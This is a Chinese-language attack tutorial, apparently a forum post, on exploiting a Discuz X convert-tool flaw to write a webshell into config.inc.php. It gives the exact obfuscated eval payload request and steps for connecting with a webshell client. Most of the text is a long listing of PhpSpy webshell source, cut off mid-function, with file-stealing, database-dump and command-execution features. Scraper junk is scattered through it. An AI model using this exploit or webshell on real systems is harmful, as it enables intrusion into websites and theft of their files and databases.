网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
  y6 P. }9 a! }( S# Y想要拿下一台主机A的权限：
1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
; @0 a$ a  d- M9 j9 Z# X" O# V2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
( o3 i' g2 p- @1 @; K! m8 u3、传上去后，得到apache用户普通权限，再提权成root
) v# p; [( x! o; s概述：
6 t# ]$ }1 I8 y& t$ d这突破在一个DZ X系列自带的转换工具里面。
漏洞路径：utility / convert / data / config.inc.php
( g7 M  t# _  r" T漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
# {' ?$ t  M2 y% p; Q# f触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
: O. }( Z% @; F0 j2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
( F) D- g9 G  P/ s7 p攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/


, N4 }5 O  _: r6 u6 i- x2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
' r7 c4 P; ]7 k) G
8、通过中国蚁剑上传大码

; |# }: W% @* N) Y& G
6 }- H) W0 x% L! s3 K6 ?+ W10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   
2. 
   
3. /*****************************************************************************
   
4. 
   
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   7 G0 {% B7 D* z4 w. U9 M
6. 
   
7. ====
   ; f7 o7 K, R8 I* {% r! b1 Q
8. 
   ) y- j% M' q9 p* |# I
9. 
   
10. *****************************************************************************/
    
11. 
    5 T4 @1 b! S& ]% m
12. error_reporting(7);
    , S% O) `5 R/ P! l8 g( v
13. @set_magic_quotes_runtime(0);
    5 z) ?0 [8 u! g7 p! @/ x
14. ob_start();
    ( }  s5 C) |5 M7 e4 \
15. $mtime = explode(' ', microtime());
    
16. $starttime = $mtime[1] + $mtime[0];
    0 y; Q% s/ N8 i8 S
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    6 d0 u4 B9 x& W4 e5 i
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    1 Q7 @; Z3 E$ B" X; b" f
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    4 `6 I3 d- ^9 R4 X
21. define('IS_GPC', get_magic_quotes_gpc());
    
22. $dis_func = get_cfg_var('disable_functions');
    5 j$ b% s! |0 U: C$ v0 C  @
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    
24. @set_time_limit(0);
    
25. 
    1 d/ C' ^, e0 f" E( z6 j# a
26. foreach(array('_GET','_POST') as $_request) {
    , d" `% Y5 w% R' s  ?
27.         foreach($$_request as $_key => $_value) {
    
28.                 if ($_key{0} != '_') {
    
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    
31.                         }
    % |+ |  w. \/ m
32.                         $$_key = $_value;
    
33.                 }
    % L) _" d4 P& P$ @( h
34.         }
    " U3 M1 i& n: _; b, `0 L$ N
35. }
    * o# w" k, `; Z- W8 G
36. 
    & n7 A: f+ x8 D2 ]" L0 b( G
37. /*===================== 程序配置 =====================*/
    
38. $admin = array();
    
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    2 o. M9 B0 B' M; |
40. $admin['check'] = true;
    # f$ y) }; n: R( R5 V4 s. ?- T
41. // 如果需要密码验证,请修改登陆密码
    8 I# U* P2 I% k9 j# b+ {
42. $admin['pass']  = 'xuegod';
    
43. 
    
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    ; |+ S3 _' N! N4 }
45. // cookie 前缀
    
46. $admin['cookiepre'] = '';
    4 t! d4 G) s* p! c
47. // cookie 作用域
    
48. $admin['cookiedomain'] = '';
    ! f& h, z  @* [( C
49. // cookie 作用路径
    8 O! O: K$ i$ y7 A5 ?
50. $admin['cookiepath'] = '/';
    ' A, ~9 V8 |! x1 r* a: V5 k; ^
51. // cookie 有效期
      \! C, h, \$ h
52. $admin['cookielife'] = 86400;
    5 I0 q- C; R9 A8 b! W, {
53. /*===================== 配置结束 =====================*/
    
54. 
    ; U* @! [" O" J' B& g6 r
55. if ($charset == 'utf8') {
    
56.         header("content-Type: text/html; charset=utf-8");
    
57. } elseif ($charset == 'big5') {
    
58.         header("content-Type: text/html; charset=big5");
    
59. } elseif ($charset == 'gbk') {
    0 @% k$ P2 b, p4 F* N# a. Y
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    & m: u. w6 c4 L8 ^3 Z/ m$ E0 k
62.         header("content-Type: text/html; charset=iso-8859-2");
    / [& l( w$ w7 c! T# {2 K; M- {
63. }
    * ]# A; h7 G! s! h/ l! v
64. 
    
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    2 o9 R, w$ y- F6 z! O
66. $timestamp = time();
    
67. 
    0 O1 r; P, a* _* Q
68. /*===================== 身份验证 =====================*/
    8 {7 ]7 j9 O: e! u! |
69. if ($action == "logout") {
    
70.         scookie('phpspypass', '', -86400 * 365);
    7 h" E5 `9 O, n, \) e
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
73.         exit;
    
74. }
    ! Z+ o& e# L9 w# C8 J; E
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    4 q; c" K% n: M, {8 B0 {
77.                 if ($admin['pass'] == $password) {
    
78.                         scookie('phpspypass', $password);
    
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    $ T/ s$ ]4 \( H. }! H( G1 B
81.                         exit;
    : M4 g) l1 \8 P7 B2 _" H, f* I
82.                 }
    ' t3 B9 F9 ~1 p
83.         }
    
84.         if ($_COOKIE['phpspypass']) {
    ) K9 o8 H, a+ `2 ^
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    
86.                         loginpage();
    
87.                 }
    5 K) X) f+ l! d" M! j
88.         } else {
    - A* x. a- b, G# Y4 _( y- B
89.                 loginpage();
    
90.         }
    ! \2 U1 |- O& k9 @4 w
91. }
    
92. /*===================== 验证结束 =====================*/
    
93. 
    / Y+ W0 _& s/ f4 a* d
94. $errmsg = '';
    1 o. f9 b. e0 `6 e
95. 
    
96. // 查看PHPINFO
    5 {, d" o( g! C, v% b  k/ r
97. if ($action == 'phpinfo') {
    
98.         if (IS_PHPINFO) {
    7 U, s6 q9 p5 J
99.                 phpinfo();
    
100.         } else {
     
101.                 $errmsg = 'phpinfo() function has non-permissible';
     - o5 y1 q0 }% u3 i' Y
102.         }
     
103. }
     " Q( L! e8 N" @' {9 ~8 d
104. 
     6 L/ F9 R$ N( X. S$ j
105. // 下载文件
     ; A- G8 B' k. r
106. if ($doing == 'downfile' && $thefile) {
     7 R$ p! r8 B3 u" b: g- ]0 P: q
107.         if (!@file_exists($thefile)) {
     $ X0 c% H! f6 R; r- J1 u6 \
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     
110.                 $fileinfo = pathinfo($thefile);
     
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     # w+ n; j$ j  n) v! _
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     $ u- X, e0 Z; |, M( I& x) K- f' w9 N
114.                 @readfile($thefile);
     : z  R6 B1 T+ S: P  X; a$ ]
115.                 exit;
     
116.         }
     3 h: x2 k4 c' z3 R. E8 ?5 c* ]
117. }
     
118. 
     
119. // 直接下载备份数据库
     
120. if ($doing == 'backupmysql' && !$saveasfile) {
     : C0 z: _8 X. f8 o, ]! i
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     5 T: V7 L( y/ I; j
122.         $table = array_flip($table);
     
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     $ x7 }7 }' h+ B- c, O
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     
126.         header('Content-type: application/unknown');
     
127.         header('Content-Disposition: attachment; filename='.$filename);
     
128.         $mysqldata = '';
     
129.         while ($currow = mysql_fetch_array($result)) {
     
130.                 if (isset($table[$currow[0]])) {
     
131.                         $mysqldata .= sqldumptable($currow[0]);
     " @9 ?" W$ [) H
132.                 }
     0 ?3 K' A7 o. l, j( V+ m% @
133.         }
     
134.         mysql_close();
     ( K# u8 ]9 Q, W
135.         exit;
     # w+ F9 y/ P$ L* I! Q$ k8 p3 b
136. }
     
137. 
     % y5 N! E$ _5 I# H6 ]
138. // 通过MYSQL下载文件
     5 ]4 ~( n2 d1 S5 t8 O9 l
139. if($doing=='mysqldown'){
     ; S0 I! X% e! d5 f* f
140.         if (!$dbname) {
     
141.                 $errmsg = 'Please input dbname';
     0 D' z9 P7 K- _( ?- W) u
142.         } else {
     
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     ! x6 w. g) d7 w  _3 q) `
144.                 if (!file_exists($mysqldlfile)) {
     
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     
146.                 } else {
     4 p# H: A" v* M3 _3 J9 W& I
147.                         $result = q("select load_file('$mysqldlfile');");
     ) j) y6 x* L$ n, H& J, Q
148.                         if(!$result){
     
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     , ~5 D; m  H3 P  a- q# H3 O0 F
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     : R) ~4 U- U# X+ P0 Q9 T9 R% S
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     
153.                                 $result = q("select content from tmp_angel");
     % J8 L7 m+ Y" a# K8 t
154.                                 q("DROP TABLE tmp_angel");
     
155.                         }
     
156.                         $row = @mysql_fetch_array($result);
     
157.                         if (!$row) {
     3 Z+ ~" Y8 j; z# d, S
158.                                 $errmsg = 'Load file failed '.mysql_error();
     
159.                         } else {
     
160.                                 $fileinfo = pathinfo($mysqldlfile);
     
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     1 G( }, k7 e  I  b
163.                                 header("Accept-Length: ".strlen($row[0]));
     2 h- g' N3 U' q
164.                                 echo $row[0];
     
165.                                 exit;
     6 j! }2 P( l$ j/ w9 O' L  \
166.                         }
     $ O1 J/ x& }# F; j- Y1 M$ x2 R
167.                 }
     
168.         }
     7 G# l% G: a: u8 x5 L
169. }
     
170. 
     # l7 \4 K& X" r: u5 p! p
171. ?>
     
172. <html>
     1 H! N" C: h2 u  b. o) H7 s+ h; V) s) u
173. <head>
     4 G$ S1 T- D) l; L9 I
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     9 z7 @6 W7 i/ Z6 I9 c0 w
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     ( L( Y2 H) g% s9 H
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     . W/ Z$ d- T3 M* X
181. a {color: #00f;text-decoration:underline;}
     
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     1 N0 P  `# |4 ~% \5 L4 {/ |& i
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     2 I3 r. O- p/ i. z5 X
187. .head td span{font-weight:normal;}
     6 H; I; x# B' d; P
188. form{margin:0;padding:0;}
     5 g/ m1 u4 z1 J: {( x* ]2 M
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     , C' u8 a" m) O
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
     7 i7 C5 s7 Y: D
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     
197.                 if (e.name != 'chkall')
     - F, N1 y7 S6 ?' n+ N0 z$ D
198.                 e.checked = form.chkall.checked;
     7 l7 j8 M4 m. {3 _. u# X5 F3 i
199.     }
     
200. }
     
201. function $(id) {
     
202.         return document.getElementById(id);
     ' E! M, X/ S5 b; z
203. }
     
204. function goaction(act){
     
205.         $('goaction').action.value=act;
     
206.         $('goaction').submit();
     
207. }
     
208. </script>
     4 X; r7 V0 _$ M  q3 `! j7 @* P2 W
209. </head>
     
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     & L! W3 H" |4 R; g7 x* q% J: x) U
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     . u: ~' j& ]2 D4 |1 L$ {$ Z* t6 c
212.         <tr class="head">
     / ~% o" D7 a" p' J* E3 D
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     
214.         </tr>
     6 z  {1 C% R. l& H) n$ a4 j, h
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     3 w- i7 c% F3 u8 b0 R( L
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     1 N% j2 M' d; q
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     7 F' i% d( p( G- P% [& Z& q
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     6 i$ ], v, i. ?  w
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     5 j6 F: v5 `& L) g0 F3 p/ M, x
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
       g2 k, u, C4 o! s) r# l
225.                 </td>
     
226.         </tr>
     0 ^; ]/ o/ y7 T8 V$ s# W  ^
227. </table>
     ; E: \/ Y: n8 R- A
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     " d% N7 P1 d9 d9 O* F9 Y
229. <?php
     
230. 
     
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     : T7 z7 f5 V" s( X. z" v& o
233. formfoot();
     
234. 
     
235. $errmsg && m($errmsg);
     
236. 
     # k6 |) M8 F0 s# w2 P' h/ Z
237. // 获取当前路径
     
238. !$dir && $dir = '.';
     
239. $nowpath = getPath(SA_ROOT, $dir);
     2 o3 y: {; A, k  ?  G4 r' `
240. if (substr($dir, -1) != '/') {
     8 B4 _; d- s2 K- T) O
241.         $dir = $dir.'/';
     / o9 H( k! R1 k
242. }
     
243. $uedir = ue($dir);
     
244. 
     
245. if (!$action || $action == 'file') {
     : f3 f( M; u& p3 k+ u
246. 
     9 [7 Q- _! l; o, A: ?
247.         // 判断读写情况
     0 ~9 b- D5 F4 I
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     
249. 
     
250.         // 删除目录
     
251.         if ($doing == 'deldir' && $thefile) {
     * t& L! C2 _9 u8 |  L
252.                 if (!file_exists($thefile)) {
     
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     ! p* o8 F1 o8 o1 E, I3 E
256.                 }
     
257.         }
     
258. 
     & A# @8 X, k( Z; l: a9 n$ Y
259.         // 创建目录
     
260.         elseif ($newdirname) {
     5 ]# ?9 |. o8 C/ ]7 F! D
261.                 $mkdirs = $nowpath.$newdirname;
     
262.                 if (file_exists($mkdirs)) {
     
263.                         m('Directory has already existed');
     8 Z) l, f. V7 P  a3 b
264.                 } else {
     # h+ o. f- v" b, r
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     
266.                         @chmod($mkdirs,0777);
     3 u7 W4 n1 B) Z& _$ n, y
267.                 }
     ! |5 X+ O+ t: J; K0 A% m4 |
268.         }
     
269. 
     
270.         // 上传文件
     ' T8 k& N1 |) }$ L( J$ j' {
271.         elseif ($doupfile) {
       d& ^7 p8 u) T: y
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     ! j& k% O: L* @+ k
274. 
     
275.         // 编辑文件
     * l' [: ?4 V% ~( ?
276.         elseif ($editfilename && $filecontent) {
     2 o' }# O. U& Y0 l& o! ^
277.                 $fp = @fopen($editfilename,'w');
     * q$ D+ h$ t1 x: @) ?
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     
279.                 @fclose($fp);
     ' B0 G( k6 L0 {) n% T3 K
280.         }
     
281. 
     
282.         // 编辑文件属性
     
283.         elseif ($pfile && $newperm) {
     : V4 C4 Q; S3 t# h7 G
284.                 if (!file_exists($pfile)) {
     $ r1 R/ h7 t6 V4 O* R4 W
285.                         m('The original file does not exist');
     
286.                 } else {
     9 `0 b4 h0 @" p
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     
289.                 }
     , T! W# I- R% _# V8 ^. @
290.         }
     0 |2 i9 T4 \. c* w8 ~0 B
291. 
     ; r* u# Y( ]$ g6 q
292.         // 改名
     ( j2 l: n8 s( N9 V* D) C7 o
293.         elseif ($oldname && $newfilename) {
     
294.                 $nname = $nowpath.$newfilename;
     
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     
296.                         m($nname.' has already existed or original file does not exist');
     8 Q% M. ~; c' t5 G7 f, l
297.                 } else {
     7 k8 {$ M) V0 U+ `% p2 Y' l4 _
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
       M# j& ]# X4 L
299.                 }
     5 P& D% f3 |% m9 W+ [* u
300.         }
       e4 e; v; R* x
301. 
     6 K+ f2 H" B( _$ N5 z. m* c" i
302.         // 复制文件
     , C& H0 F: @8 Q8 J
303.         elseif ($sname && $tofile) {
     , S+ ~3 ^+ K2 F! A
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     2 o9 x3 i% E6 Y% k
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     
308.                 }
     5 Y" s* Q' g4 B
309.         }
     , q. j2 e# ]$ ?" u4 [, t
310. 
     5 a1 @: L. @/ V4 L$ Z9 B
311.         // 克隆时间
     
312.         elseif ($curfile && $tarfile) {
     * T% g! V1 l* C6 j/ q+ y9 c
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     5 H( Y, J4 K- x! T3 U7 `; o
315.                 } else {
     " q$ w1 U  b- V* s/ K
316.                         $time = @filemtime($tarfile);
     " @+ a. E5 h4 |) l4 m
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     9 [; r" b$ ~9 T
318.                 }
     
319.         }
     
320. 
     : M0 H3 l' e6 Q; o/ m; U
321.         // 自定义时间
     " [9 Z$ N9 N2 u& P6 l" V
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     3 E* g8 Z6 k4 j% v# M
325.                 } else {
     
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
328.                 }
     ) f5 _5 f. ]# Y
329.         }
     
330. 
     3 l" S: J* `6 O% |3 j) e. [, Y
331.         // 打包下载
     
332.         elseif($doing == 'downrar') {
     
333.                 if ($dl) {
     
334.                         $dfiles='';
     % P) @% c; A) z+ n6 [
335.                         foreach ($dl as $filepath => $value) {
     
336.                                 $dfiles.=$filepath.',';
     - `/ T, m5 v% K" o/ Y! s
337.                         }
     / c* x3 P3 |4 v, C' [5 S# N. ~, b
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     : l% g. G1 r+ T  D
339.                         $dl=explode(',',$dfiles);
     ! r# R/ p, q; }4 T, }, b- |" J
340.                         $zip=new PHPZip($dl);
     
341.                         $code=$zip->out;
     
342.                         header('Content-type: application/octet-stream');
     ! u3 T2 o9 {2 r4 u& [8 i. ^/ d
343.                         header('Accept-Ranges: bytes');
     
344.                         header('Accept-Length: '.strlen($code));
     
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
       z4 _( \% [# T) Y6 f6 j
346.                         echo $code;
     
347.                         exit;
     " S4 {: O0 y$ F- e! g# H2 O7 g4 N: }
348.                 } else {
     8 \0 p- l( i; N+ i' V7 u
349.                         m('Please select file(s)');
     / o7 p% n+ k( |5 h, G
350.                 }
     
351.         }
     3 |& Z, h. j: u% j- {
352. 
     - D0 u4 _" K  N( T; A
353.         // 批量删除文件
     
354.         elseif($doing == 'delfiles') {
     1 _  S& k7 q$ j* X
355.                 if ($dl) {
     
356.                         $dfiles='';
     5 \' P# K% W$ ], A, v2 k& L
357.                         $succ = $fail = 0;
     1 b. X' U9 P. G! ?
358.                         foreach ($dl as $filepath => $value) {
     
359.                                 if (@unlink($filepath)) {
     - m$ N, j2 L0 o0 A0 {+ ~" Q
360.                                         $succ++;
     
361.                                 } else {
     5 n" ^  U# ^; X8 t) I
362.                                         $fail++;
     
363.                                 }
     & G3 f! n. E# v  Q" {$ G
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     
366.                 } else {
     
367.                         m('Please select file(s)');
     3 ]1 Y. t9 I. o. \# \) h
368.                 }
     
369.         }
     
370. 
     
371.         //操作完毕
     
372.         formhead(array('name'=>'createdir'));
     
373.         makehide('newdirname');
     
374.         makehide('dir',$nowpath);
     5 c) D* T' |8 o# T! V; X
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     ) y9 |0 y3 G1 n) V% _- X. M
377.         makehide('newperm');
     
378.         makehide('pfile');
     
379.         makehide('dir',$nowpath);
     , ?' {$ {/ G% B. I% t2 h: [
380.         formfoot();
     , ?8 U& [1 u9 |( a* |
381.         formhead(array('name'=>'copyfile'));
     
382.         makehide('sname');
     & A' G) s5 K+ Q% _# q
383.         makehide('tofile');
     
384.         makehide('dir',$nowpath);
     + E4 e, L# ?5 \/ C0 Z, Y0 j5 G
385.         formfoot();
     
386.         formhead(array('name'=>'rename'));
     " y* M# }: n  M6 S+ u
387.         makehide('oldname');
     
388.         makehide('newfilename');
     
389.         makehide('dir',$nowpath);
     & f' ^, d* [- {$ [# F: `
390.         formfoot();
     
391.         formhead(array('name'=>'fileopform'));
     ; g5 l& y9 F8 Q6 l* d  T; ^- b7 c
392.         makehide('action');
     5 L2 i4 z+ B3 Q9 E5 z: h
393.         makehide('opfile');
     
394.         makehide('dir');
     
395.         formfoot();
     / }" e4 r' c# U+ h
396. 
     
397.         $free = @disk_free_space($nowpath);
     2 g& }3 q; t9 I' p
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     
400.         !$all && $all = 0;
     ; g! S4 R# E* f* a$ S* x0 U) H
401.         $used = $all-$free;
     
402.         $used_percent = @round(100/($all/$free),2);
       r9 x8 w0 A0 A5 U7 |" d* ?
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     
404. 
     
405. ?>
     - s: t8 B- v. c! D0 X5 }
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     ) M6 h+ U; Q' \  U9 |
407.   <form action="" method="post" id="godir" name="godir">
     $ A/ Q8 k6 r2 J
408.   <tr>
     . p0 U+ l0 Y: _& I
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     - f2 e) _1 l- g" b/ p, W0 J4 F% l, a) \
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     9 l. S. S) u" A0 c% }/ S& T" q  Q2 i: B
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     $ ]4 s, D7 f; y  @2 F6 O- V
412.   </tr>
     ' w* I7 ^& {# i
413.   </form>
     
414. </table>
     + C- @$ g& f8 i5 C$ W* m
415. <script type="text/javascript">
     4 u0 [1 ~5 K' M# C, g9 Y! p. U
416. function createdir(){
     : f5 ^; r8 r3 o2 B4 f
417.         var newdirname;
     $ X; Y1 y; g+ s
418.         newdirname = prompt('Please input the directory name:', '');
     : p0 m4 f% J- `$ {8 F
419.         if (!newdirname) return;
     , z+ Q2 r% d- A& B3 a! O
420.         $('createdir').newdirname.value=newdirname;
     2 N5 {1 V% C- M4 ?- u
421.         $('createdir').submit();
     
422. }
     
423. function fileperm(pfile){
     * }2 D/ ^2 c3 g5 F! j$ m9 I' h
424.         var newperm;
     
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     
426.         if (!newperm) return;
     
427.         $('fileperm').newperm.value=newperm;
     
428.         $('fileperm').pfile.value=pfile;
     
429.         $('fileperm').submit();
     
430. }
     1 l' h" I9 E! O- B' c
431. function copyfile(sname){
     
432.         var tofile;
     ! s  L6 H& g) d& R1 @' z* v. L* _
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     
434.         if (!tofile) return;
     
435.         $('copyfile').tofile.value=tofile;
     / \4 L3 z  I9 J" _5 }; W1 B, v3 t
436.         $('copyfile').sname.value=sname;
     % {( c# d: ]0 A* b- [2 Z
437.         $('copyfile').submit();
     4 V; `& B8 {5 R
438. }
     " Z: g$ ^: [# a8 h
439. function rename(oldname){
     : z8 A. s: ~" O
440.         var newfilename;
     # t; b6 t$ D2 y, ~+ [
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     
442.         if (!newfilename) return;
     5 o: p+ p7 b2 t1 E  ?) O& G$ Q9 O
443.         $('rename').newfilename.value=newfilename;
     9 ?/ [# n1 r8 ^3 I' ~
444.         $('rename').oldname.value=oldname;
     + n0 z4 @! A7 u1 b9 k% N* r
445.         $('rename').submit();
     ' A( g' v# V7 `8 s! F  Q; u
446. }
     ' n6 S- v$ q2 @- _- O: I  o6 _' |
447. function dofile(doing,thefile,m){
     1 D9 w  M9 e4 m: W! i$ k
448.         if (m && !confirm(m)) {
     
449.                 return;
     
450.         }
     3 F' t! P0 @9 C' _
451.         $('filelist').doing.value=doing;
     7 T' T' [( K, O* ?
452.         if (thefile){
     & E  Q9 Z1 U& t3 Y* J4 H
453.                 $('filelist').thefile.value=thefile;
     - _; H4 f  d2 K
454.         }
     
455.         $('filelist').submit();
